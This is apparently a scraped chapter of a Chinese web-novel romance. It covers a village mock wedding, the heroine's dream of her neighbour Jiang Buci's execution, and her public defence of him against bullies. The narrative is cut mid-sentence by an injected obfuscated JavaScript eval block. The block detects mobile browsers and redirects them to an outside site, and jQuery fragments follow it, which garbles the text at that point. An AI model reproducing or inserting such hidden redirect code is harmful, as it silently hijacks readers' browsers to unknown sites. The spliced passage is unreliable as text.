有人起哄道:“那谁扮新郎官啊。”
潘阿毛瞪着他:“去去去,别妨碍我们玩游戏。”
阮清殊倒不甚在意这个,不过是个游戏。潘阿毛从轿子里取出红盖头帮她盖上,又扶着她坐了进去。
花轿里面的空间要比她想象中的大,垫子软软的,倒还算舒适。
阮清殊盖着盖头,只能看见自己的鞋。她小声询问:“我什么时候可以出来?”
却听外面吵了起来。
都想当这个新郎官。
秦贵先道:“搬米那次抽签,我与阮小娘子抽到了同组,说明我们极为有缘,我才是新郎官。”
有人毫不客气地给他泼了冷水:“可最后阮小娘子也没选择你啊,她宁愿和金瞳儿一组。”
秦贵气得直跺脚,被张忠挤到了一边。
张忠道:“我爹说了,‘打是亲,骂是爱’,那日阮小娘子拿石头扔我了,所以我才是那个新郎官。”
众人都用看傻子的眼神看他,潘阿毛轻哼一声,站了出来:“你们这都是些什么跟什么,阮小娘子能看上你们就怪了。”
他扬了扬眉,来了个劲爆的:“阮小娘子可是给我缝过裤子的。”
此言一出,周围的人开始起哄。有几个人不信:“真的假的,虎人的吧?”
潘阿毛下意识地摸了摸屁缝,他今日没穿那条裤子,准确的说,是她补完后再也没穿过。
他倒不是嫌弃阮清殊手艺不佳,觉得穿出去丢人。而是因为他发现裤子莫名其妙地变小了——卡裆。
“你们若不信,可以去我家瞧,那裤子现在就在我家躺着呢。”潘阿毛瞪他们一眼。
几人对视,眼神里便有了说不清道不明的戏谑。
众人开始起哄:“那新郎官,快快踢轿门吧。”
阮清殊在里面听着,外面的人似乎要打起来。
她有些无奈,刚打算掀开帘子出去拦一拦,只觉脑袋发重,身子一沉,便跌了回去。
迷迷糊糊的,她入梦了。
梦中,还是阮清殊熟悉的家。她正坐在梳妆台边,对着一面大铜镜,身后是红着眼睛的阿娘拿着木栉,帮她一下一下地梳着头发。
阮清殊微微低头,就见身上穿的是艳红色的喜服。她有些?异,忽听殷氏叹了口气,动作慢了下来:“殊儿,到了夫家,不必拘着,若是过得不好,就回家来,娘和阿爹养你一辈子。”
阮清殊眨眨眼,忽然鼻子一酸。
殷氏的动作极为轻柔,边梳边道:“一梳梳到尾,二梳梳到白发齐眉,三梳梳到儿孙满地,四梳梳到四条银笋尽标齐……”
说到后面,声音有些哽咽。
阮清殊在阿娘皱皱巴巴的手背上轻轻拍了几下,她还有些恍惚,明明成亲的是阿兄,怎么现在穿着喜服的成了自己。
还有,她要嫁给谁?
阮清殊心中忐忑着,想开口问问,最后还是放弃了。
梳好了头,喜娘过来招呼:“迎亲队伍和花轿已经在门口了。”
殷氏含着泪帮阮清殊盖上了盖头,又在她手上塞了一个苹果,这才扶着她到了门口。
阮清武早早便在那里等着了,见她们出来,便转身弯下了腰:“清殊,阿兄送你出嫁。”
爆竹声响起,阮清殊趴在阿兄肩上,感受着盖头的晃动。
院子里聚着不少人,说话的,起哄的,鼓掌的,响成一片。
阮清殊看不到他们的脸,却能看到一双双鞋在眼前划过去。
到了门外,阮清殊被送进了轿子里,这轿子她很熟悉,掀起帘子的一角,便能看到默默垂泪的阿爹阿娘阿兄,以及在场的所有宾客。
有潘阿毛、张忠、秦贵……还有许多没见过的面孔。
喜娘迎上来,忙让她将帘子放下去:“哎呦喂,快快放好,快快放好,这是不吉利的。”
阮清殊还想再看一眼阿爹阿娘,就见阿兄拐着腿慢吞吞地走了过来。
他握住了她的手:“殊儿,到了江家,千万别委屈着自己。阿兄永远在,有什么事要同阿兄讲。”
阮清殊抱着哥哥的手臂,终于哭了出来。
喜娘一看,忙上前安慰:“江公子一表人才,是咱十里八村都知道的事,姑娘嫁过去那是享清福的命,哪里还会有什么委屈。快别哭了罢,这大喜的日子,哭哭啼啼的不吉利啊。”
边说边帮她将帘子放了下去,招呼轿夫:“起轿!”
唢呐锣鼓声响起,外面闹哄哄的,阮清殊捂着脸,哭了个昏天黑地。
她在想,江窈姐姐出嫁,是不是也是这样难过。
哭累了,阮清殊抓起案上的果子往嘴里塞。
吃着吃着,阮清殊突然顿住了,有些震惊地抬了抬眼。
刚刚喜娘说——江公子?
江家?
阮清殊把到嘴边的果子放了下去。
难道她是嫁给了江不辞?
阮清殊仔细回想,刚刚的宾客中,的确没有江不辞,就连江窈姐姐她都没有看到。
阮清殊有些慌乱,悄悄掀开车帘的一角,却发现这轿子竟是往村口抬的。
江家和阮家只隔了一个院子,阮清殊觉得坐花轿都是多余,那几步路甚至比自己从内室到大门外还要短。
不过坐花轿是传统,阿兄娶江窈姐姐,怕不够热闹喜庆,硬是让花轿绕了村子一圈才停到阮家门口。
想到这里,阮清殊努着嘴,将帘子放了下来,认命般地轻砸了一下自己的额头。
嫁给江不辞就嫁给江不辞吧,反正两家离得这么近,这跟没出嫁也没什么区别。
想到这里,阮清殊竟有开心起来,继续吃起了果子。
花轿摇摇晃晃,从阮家直直抬出来,出了村,往镇上走去。
突然,花轿停了。
四个轿夫把轿子从自己健壮的手臂上放下来,目光盯着对面迎过来的囚车。
喜娘甩着帕子笑盈盈地迎上去:“呀,各位官爷,自古红白事不相撞,还请宽容宽容,让我们这花轿先过。”
说完,便指挥着身边的一人上前送喜糖。
官差看也没看,木着一张脸道:“县老爷有令,此人罪大恶极,必须立刻运至刑场,误了时辰,可是你们担当得起的?!”
喜娘对上他们腰间的佩刀,吓得往后退了一大步,再一抬眼,就看到囚车里用铁链困住的人,脸上灰扑扑的,布满了伤痕,可那双眼睛却格外得亮。
喜娘颤颤巍巍地伸出手指指向他,嘴唇发白:“金……金瞳儿!”
打头的官差打了一个手势,也不再管对面说什么,直接推了喜娘一把,囚车颠簸前行。
喜娘踉跄几下,看着囚车从眼前经过。
囚车上的那双眼睛奇怪,可怕,却又像一口枯井,无波无澜,让人望之胆寒。
突然,人群开始骚乱,有人不知道从哪里找来了烂菜子、臭鸡蛋,直直朝囚车砸去。
叫喊的人越来越多。
“奸贼!”
“奸贼!”
“奸贼!”
囚车晃动,发出“吱吱呀呀”的呻吟,黄澄澄的蛋液与绿花花的菜汁在车壁外侧木板上留
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15916724|176940||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下深深浅浅的印子。
人们边喊边随着囚车走,却又因为囚车上关着一个金瞳儿不敢靠得太近。
官差怕出什么纰漏,找了个黑布袋子套上了他的头。人们大胆起来,烂菜子、臭鸡蛋往他身上招呼,一时间囚车上没有了下脚的地方。
喜娘早早就退到了旁边,抚着胸口缓了好一会儿。她也想去看个热闹,可还有大事在身,便无奈叹了口气,转身。
突然,有人大喊:“新娘子跑了!新娘子跑了!”
阮清殊坐在喜轿里,目睹了一切。
她知道自己坐不住了。
天生异瞳的邻家小竹马成了人人喊打的大奸贼。
在自己出嫁之日,被押赴刑场。
挺荒唐的,但现实就在眼前。
看着他穿着破败肮脏的囚衣,就安安静静坐在囚车之中,阮清殊突然想到他送自己的那只木鸟。
明明就是一块木头,却张着翅膀,高昂着头,妄图往天上飞。
阮清殊身着火红嫁衣,挤过重重人海,去见他最后一面。
刑场上多的是看热闹的人。
阮清殊挤到了最前面,一手扶着歪了一半的喜冠,样子有些滑稽。
江不辞身着囚服,跪于长地,目光淡薄,只朝她轻轻一瞥。
头落地的那一刻,阮清殊两眼一黑,猛然惊醒。
她依旧坐在江窈姐姐的喜轿之中。
阮清殊定了定神,掀了帘子下去,就见潘阿毛笑道:“我踢轿门都把脚踢麻了,你迟迟不出来,我们都以为你赖在里面睡觉呢。”
阮清殊没有回应,目光打量一圈后,最终停在了一个角落。
江不辞面无表情地站在那里,听到动静,他转身欲走,却被张忠他们几个围住了。
其中一个笑道:“怎么,金瞳儿也想娶媳妇儿了?”
其余的人笑作一团。
张忠甚至灵感爆发,即兴赋诗一首——
“贺新郎,贺新郎,新郎眼睛金晃晃。嫁新娘,嫁新娘,新娘含泪上公堂。金瞳儿痴心又妄想,娶个婆娘吊房梁。怪物生来就不详,莫要出来害姑娘。”
几人拍手叫绝:“不想张狗子你还有这等文采,真是让我们哥几个刮目相看啊。”
张忠笑着摆了摆手:“不才不才,阮先生所教,我不过学了些皮毛而已。”
阮清殊冷眼看着,心里一阵胆寒。
爹爹办私塾的目的,是为了能让他们知礼守节,可现在看来,却加重了他们的恶毒心思。
这群人见江不辞没什么反应,便更加大胆,一边重复着张忠刚刚的话,一边伸手推搡。
江不辞猛地抬手,一手便握住了一个人的手腕。那人呲牙咧嘴:“疼疼疼……疼死我了。”
“滚开。”江不辞将他的手挥开。
那人退了几步,不停地揉着手腕,恶狠狠地瞪着他。然后,弯腰……
“小心!”阮清殊忽然提裙往这边跑。
她听过伙伴嘲笑他所编的歌谣。也记得母亲语重心长让她疏远他的嘱托。
可当石子飞向他的那刻,她还是提裙而上,把他护在身后。
石子擦过她的耳边,“咚”得一声打在后面的大门上。
“阮清殊,你干什么?!”周围的人都惊了。
潘阿毛气冲冲地走过来:“你护着他做什么,他是个怪物,他不详,他会害死你!”
“他不是怪物,也没有不详!”
阮清殊眼睛瞪得圆圆的,极力反驳,
“他……他……他是我的意中之人。”